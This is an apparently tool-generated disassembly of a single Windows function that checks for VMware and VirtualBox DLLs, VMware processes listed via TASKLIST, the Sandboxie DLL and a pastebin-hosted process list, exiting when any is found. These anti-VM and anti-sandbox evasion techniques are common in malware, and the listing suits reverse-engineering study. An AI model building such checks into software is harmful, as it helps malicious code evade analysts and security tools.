Function at 0x403f2c
Capabilities:
Check if file exists
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x250
mov dword [ebp - 0x23c], ecx
lea eax, [ebp - 0x46]
mov ecx, eax
call fcn.0040162c
mov dword [esp], str.SystemRoot
call sym._getenv
mov ecx, eax
lea eax, [ebp - 0x60]
lea edx, [ebp - 0x46]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x46]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x60]
mov dword [esp], str.System32_vmGuestLib.dll
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
sub esp, 4
lea eax, [ebp - 0x45]
mov ecx, eax
call fcn.0040162c
mov dword [esp], str.SystemRoot
call sym._getenv
mov ecx, eax
lea eax, [ebp - 0x78]
lea edx, [ebp - 0x45]
mov dword [esp + 4], edx
mov dword [esp], ecx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x45]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x78]
mov dword [esp], str._vboxmrxnp.dll
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
sub esp, 4
lea eax, [ebp - 0x90]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [esp + 4], 0x408139
mov dword [esp], str.TASKLIST__FI__STATUS_eq_RUNNING___find__V__Image_Name___find__V___
call sym.__popen
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._fgets
test eax, eax
setne al
test al, al
je 0x40403c
lea eax, [ebp - 0x90]
lea edx, [ebp - 0x110]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
sub esp, 4
jmp 0x403ffb
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym.__pclose
lea eax, [ebp - 0x11c]
mov ecx, eax
call fcn.00405c9c
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x90]
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], str..exe
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_int__const
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
setne al
test al, al
je 0x4040d5
mov eax, dword [ebp - 0xc]
lea edx, [eax + 4]
lea eax, [ebp - 0x44]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
lea edx, [ebp - 0x90]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_int__unsigned_int__const
sub esp, 0xc
lea eax, [ebp - 0x11c]
lea edx, [ebp - 0x44]
mov dword [esp], edx
mov ecx, eax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0x44]
mov ecx, eax
call fcn.004015d4
add dword [ebp - 0xc], 4
jmp 0x40405b
mov ebx, 0
mov byte [ebp - 0x23d], 0
mov byte [ebp - 0x23e], 0
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x23f], 1
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov esi, eax
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov dword [esp + 8], str.VMwareService.exe
mov dword [esp + 4], esi
mov dword [esp], eax
call sym.__ZSt4findIN9__gnu_cxx17__normal_iteratorIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS7_SaIS7_EEEEA18_cET_
mov dword [ebp - 0x28], eax
mov ebx, 1
lea eax, [ebp - 0x2c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym.__ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EE
test al, al
jne 0x4041b4
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x23d], 1
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov esi, eax
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov dword [esp + 8], str.VMwareTray.exe
mov dword [esp + 4], esi
mov dword [esp], eax
call sym.__ZSt4findIN9__gnu_cxx17__normal_iteratorIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS7_SaIS7_EEEEA15_cET_
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x23e], 1
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
mov dword [esp], eax
call sym.__ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EE
test al, al
je 0x4041bb
mov eax, 1
jmp 0x4041c0
mov eax, 0
cmp byte [ebp - 0x23e], 0
cmp byte [ebp - 0x23d], 0
test bl, bl
cmp byte [ebp - 0x23f], 0
test al, al
je 0x40420c
mov dword [esp + 4], str.VMwareService.exe__VMwareTray.exe_process_are_running
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp], 0
call sym._exit
lea eax, [ebp - 0x60]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp], eax
call sym._GetFileAttributesA_4
sub esp, 4
cmp eax, 0xffffffff
setne al
test al, al
je 0x40425c
mov dword [esp + 4], str.Vmware_DLL_Detected
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp], 0
call sym._exit
lea eax, [ebp - 0x78]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp], eax
call sym._GetFileAttributesA_4
sub esp, 4
cmp eax, 0xffffffff
setne al
test al, al
je 0x4042ac
mov dword [esp + 4], str.VirtualBox_DLL_Detected
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp], 0
call sym._exit
mov dword [esp], str.SbieDll.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x404303
mov dword [esp + 4], str.Sandboxie_DLL_Detected
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
mov dword [esp], 0
call sym._exit
lea eax, [ebp - 0x218]
mov dword [esp + 4], 8
mov dword [esp], str.https:__pastebin.com_raw_Xe5WMsTU
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x230]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x230]
mov dword [esp + 4], eax
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym.std::basic_istream_char__std::char_traits_char____std::getline_char__std::char_traits_char___std::allocator_char____std::basic_istream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov edx, dword [eax]
sub edx, 0xc
mov edx, dword [edx]
add eax, edx
mov ecx, eax
call sym.std::basic_ios_char__std::char_traits_char___::operator_bool___const
test al, al
je 0x4043c8
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov ebx, eax
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov edx, eax
lea eax, [ebp - 0x230]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char__________std::find___gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___________std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char________gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char__________
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sym.__ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EE
test al, al
je 0x40432f
mov dword [esp], 0
call sym._exit
lea eax, [ebp - 0x230]
mov ecx, eax
call fcn.004015d4
lea eax, [ebp - 0x218]
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
lea eax, [ebp - 0x11c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
lea eax, [ebp - 0x90]
mov ecx, eax
call fcn.004015d4
lea eax, [ebp - 0x78]
mov ecx, eax
call fcn.004015d4
lea eax, [ebp - 0x60]
mov ecx, eax
call fcn.004015d4
jmp 0x4044c7
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret